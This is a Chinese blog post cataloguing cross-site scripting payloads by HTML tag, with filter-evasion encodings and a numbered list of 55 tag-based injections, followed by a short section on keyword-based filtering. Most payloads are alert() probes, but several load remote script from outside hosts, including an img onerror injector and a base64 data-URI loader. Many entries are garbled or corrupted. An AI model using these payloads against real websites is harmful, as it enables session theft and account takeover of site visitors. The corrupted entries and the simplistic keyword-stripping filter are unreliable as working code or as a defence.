xss其他标签下的js用法总结

xss其他标签下的js用法总结大全

<script src=js地址></script>

实际上我们的测试语句可能为↓

<script>alert("90sec")</script>

也就是说js语句实际上是位于↓
<script></script>的中间。

包括<img>、<input>、<object>、<iframe>、<a></a>、<svg>、标签等情况下的xss构造。

所以我们就需要了解各种标签下的js用法,不然很多时候不可以使用<script>就很麻烦了。

【XSS基本探测payload】
<script>alert(“xss”)</script>
<script>alert(/xss/)</script> //双引号换成斜杠
<script>alert(‘xss’)</script> //用单引号
<script>alert("xss");</script> //用分号
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert("jdq") //自动补全

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //用分号
<script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //空格+分号

<script>alert("xss");;;;;;;;;;;;;;;;;        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //换行符

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //回车

单引号被过滤

<script>alert(/jdq/)</script>  //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显

【jvascript伪协议】回旋

<a href="javascript:alert(/test/)">xss</a>
 <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签

alert被过滤

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

【img标记】

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>

on事件点击触发

onclick="alert('xss') //注意要用单引号 双引号不会触发

on事件-移动触发

Onmousemove="alert('xss')

【利用函数加密】
eval 函数配合编码

<script>eval(“js+16进制加密”)</script>
 <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
编码要执行的语句↓
Alert(“xss”)

【unicode加密】

<script>eval("unicode加密")</script>
//js unicode加密 解决alert()被过滤
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
格式↓
标记eval(“编码”) 结束标记

【String.fromCharCod函数】
String.fromCharCode需要配合eval来实现,
构造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行
不加引号,则是默认作为eval的其他参数语句来执
固定格式→<script>eval(String.fromCharCode编码内容))</script>
【data协议运用】

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>

格式

Data:[<mime type>][;charset=<charset>[;base64],<encoded data>
Data //协议
<mime type> //数据类似
charset=<charset>  //指定编码
[;base64] //被指定的编码
<encoded data> //定义data协议的编码
实际编码↓
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

base64编码要执行的内容
特点:不支持IE

【各标签实战pyload】

——————————————————-xss其他标签下的js用法总结大全––——————————–———————————

  • (1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
  • (2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
  • (3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
  • (4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
  • (5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
  • (6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
  • (7)formCharCode标签
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  • (8)UTF-8的Unicode编码
<IMG SRC=jav..省略..S')>
  • (9)7位的UTF-8的Unicode编码是没有分号的
<IMG SRC=jav..省略..S')>
  • (10)十六进制编码也是没有分号
<IMG SRC=\'#\'" /span>
  • (11)嵌入式标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
  • (12)嵌入式编码标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
  • (13)嵌入式换行符
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
  • (14)嵌入式回车
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
  • (15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=\'#\'" /span>
  • (16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
  • (17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
  • (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
  • (19)Spaces和meta前的IMG标签
<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>
  • (20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
  • (21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
  • (22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
  • (23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
  • (24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
  • (25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
  • (26)半开的HTML/JavaScript XSS
<IMG SRC=\'#\'" /span>
  • (27)双开角括号
<iframe src=http://3w.org/XSS.html <
  • (28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
  • (29)换码过滤的JavaScript
\”;alert(‘XSS’);//
  • (30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
  • (31)Input Image
<INPUT SRC=\'#\'" /span>
  • (32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
  • (33)BODY标签
<BODY(‘XSS’)>
  • (34)IMG Dynsrc
<IMG DYNSRC=\'#\'" /span>
  • (35)IMG Lowsrc
<IMG LOWSRC=\'#\'" /span>
  • (36)BGSOUND
<BGSOUND SRC=\'#\'" /span>
  • (37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
  • (38)远程样式表
<LINK REL=”stylesheet” HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>
  • (39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
  • (40)IMG VBscript
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
  • (41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
  • (42)Iframe
<IFRAME SRC=\'#\'" /IFRAME>
  • (43)Frame
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
  • (44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
  • (45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
  • (46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
  • (47)DIV background-image后加上额外字符
(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
  • (48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
  • (49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
  • (50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
  • (51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
  • (52)IMG STYLE方式
exppression(alert(“XSS”))’>
  • (53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
  • (54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
  • (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\'#\'" /span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>
  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XSS(跨站脚本攻击)是一种常见的网络安全漏洞,攻击者通过注入恶意脚本代码,利用用户对网页的信任来获取用户敏感信息或者进行其他攻击行为。为了防止XSS攻击,常常需要对用户输入的数据进行过滤。 在过滤JS关键字时,我们需要识别和删除恶意的脚本代码。一种常见的方法是通过正则表达式匹配和替换,将恶意的JS代码与用户输入的数据进行对比。 以下是一个简单的例子,展示如何过滤XSS攻击中的JS关键字: 1. 首先,我们需要定义一个包含常见的JS关键字列表,例如"script"、"eval"、"alert"等,以此为基础进行过滤。 2. 当用户输入数据时,我们通过正则表达式匹配用户输入中是否包含JS关键字。如果匹配成功,则可以删除或替换该关键字,以防止恶意代码执行。 例如,我们可以使用以下代码进行过滤: ```python import re def filter_xss(input): keywords = ['script', 'eval', 'alert'] # 使用正则表达式进行匹配替换 for keyword in keywords: pattern = re.compile(re.escape(keyword), re.IGNORECASE) input = re.sub(pattern, '', input) return input ``` 在上述代码中,我们定义了一个名为`filter_xss`的函数,该函数接收用户输入的数据,并返回过滤后的结果。函数使用`re.sub()`方法,将匹配到的关键字替换为空字符串,从而达到去除恶意代码的效果。 需要注意的是,尽管正则表达式可以一定程度上过滤XSS攻击中的JS关键字,但它并不是一种绝对可靠的解决方案。为了更好地防止XSS攻击,我们还需要使用其他安全措施,例如HTML编码、输入验证等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值